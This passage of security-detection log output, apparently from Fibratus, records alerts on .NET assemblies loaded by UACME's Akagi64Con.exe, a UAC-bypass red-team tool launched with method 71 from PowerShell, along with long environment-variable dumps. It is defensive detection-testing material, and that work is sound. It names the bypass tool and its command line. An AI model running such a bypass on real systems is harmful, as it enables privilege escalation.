Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:dd6677ec-fed6-4e88-b3e6-48cea7b377da WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-05T16:00:48+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\vmconnect\109ce38782caeb1d0c35e34b5d60e591\vmconnect.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 11022686 + Pid: 1000 + Tid: 12900 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:59:54.9253745 +0100 CET + Params: base_address➜ 7ffcbbb50000, checksum➜ 0, default_address➜ 7ffcbbb50000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\vmconnect\109ce38782caeb1d0c35e34b5d60e591\vmconnect.ni.exe, image_size➜ 2355200, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 1000, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: rule.seq.link: 9665569474375319552, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.ref: https://attack.mitre.org/techniques/T1055/, rule.name: .NET assembly loaded by unmanaged process, technique.id: T1055, technique.name: Process Injection + + Pid: 1000 + Ppid: 10124 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:dd6677ec-fed6-4e88-b3e6-48cea7b377da WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-05T16:00:48+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\wsdl\5f5cbf031ee1c800fc7d6705e5311ca1\wsdl.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 11022793 + Pid: 1000 + Tid: 12900 + Type: LoadImage + CPU: 6 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:59:54.9411922 +0100 CET + Params: base_address➜ 7ffcd66f0000, checksum➜ 0, default_address➜ 7ffcd66f0000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\wsdl\5f5cbf031ee1c800fc7d6705e5311ca1\wsdl.ni.exe, image_size➜ 188416, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 1000, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: rule.seq.link: 9665569474375319552, rule.name: .NET assembly loaded by unmanaged process, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/ + + Pid: 1000 + Ppid: 10124 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:dd6677ec-fed6-4e88-b3e6-48cea7b377da WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ 